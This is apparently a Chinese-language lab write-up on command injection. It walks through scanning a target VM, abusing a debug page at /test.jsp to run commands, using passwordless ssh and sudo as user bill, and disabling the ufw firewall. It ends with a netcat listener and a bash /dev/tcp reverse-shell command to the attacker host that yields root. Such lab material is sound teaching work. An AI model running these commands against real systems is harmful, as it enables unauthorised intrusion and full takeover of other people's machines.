命令执行漏洞
当应用需要调用一些外部应用程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system、exec、shell_exec等,当用户可以控制命令执行函数中的参数时,将可以注入恶意命令到正常命令中,造成命令执行攻击。
调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,有没有多虑用户输入的情况下,就会造成命令执行漏洞。
实验环境
攻击机:192.168.0.25
靶机:192.168.0.26
实验流程
- 端口扫描
8080端口开放,HTTP服务
尝试访问8080端口的HTTP服务
网站使用Tomcat服务器搭建,并且拿到网站主目录
- 网站信息探测
敏感目录:/test.jsp
尝试访问该敏感页面
通过页面描述可知这是用于检查/tmp是否有可疑内容的调试页面
尝试执行系统命令,能够列出/tmp目录下面的文件
查看/home目录下面的内容,以此判断系统中的用户有哪些
通过显示结果判断系统中有一个普通用户——bill
还可以通过页面上的命令执行功能获取系统中的信息获取读取敏感文件
- 漏洞利用
使用ssh执行root权限的命令,使用ssh 用户名@localhost登录服务器不许要身份验证
查看bill用户使sudo命令的权限
尝试使用sudo命令执行命令,关闭靶机的防火墙
注意:关闭防火墙使用的命令和操作系统的类型相关,因为靶机是Ubuntu的操作系统,系统中默认的管理防火墙的工具是ufw。
注意:ufw是Ubuntu系统中基于iptables的防火墙管理工具。
有关于ufw详信参考链接:https://blog.csdn.net/bigdata_mining/article/details/80699180
- 权限提升
攻击者监听端口,靶机执行命令利用bash反弹shell,直接获取root用户权限
攻击者:nc -lvvp 4444
靶机:ssh bill@localhost sudo bash -i >& /dev/tcp/192.168.0.25/4444 0>&1
获取flag